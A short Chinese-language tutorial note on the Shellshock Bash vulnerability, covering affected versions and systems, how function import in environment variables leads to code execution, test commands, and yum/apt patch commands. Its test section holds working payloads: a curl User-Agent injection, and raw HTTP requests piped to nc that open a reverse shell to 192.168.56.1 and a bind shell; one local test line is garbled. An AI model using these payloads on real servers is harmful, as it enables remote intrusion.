影响范围

Bash 4.3以及之前的版本

能通过某种手段为bash传递环境变量的程序都受此影响,最出名就是CGI方式

  • CGI技术是Web技术刚兴起的时候发明的,它是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。
  • 可能受到影响的系统:

运行CGI脚本(通过mod_cgi 和 mod_cgid)的Apache HTTP 服务器;
某些DHCP客户端;
使用Bash的各种网络服务;
使用 ForceCommand 功能的 OpenSSH 服务器;
使用CGI作为网络接口的基于Linux的路由器;
使用Bash的各种嵌入式设备。
……

而Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

  • 如果从web应用为入口进行入侵,需要web应用支持CGI(大多数php、python、perl)

测试方式:
http://192.168.56.101/cgi-bin/status

curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://192.168.56.101//cgi-bin/status
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.1 8889 -e /bin/shi\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

本地测试方法

env x='() { :;}; echo vulnerable' bash -c "echo this is a test "  # 注意一定要有那些空格
env -i x=';() { (a)=>\' bash -c 'echo date'; cat echo   # ?

修复方法

(1).针对RedHat、CentOS Liunx发行版本,请执行:
yum -y update bash
(2).针对Debian Liunx发行版本,请执行:
sudo apt-get update && sudo apt-get install --only-upgrade bash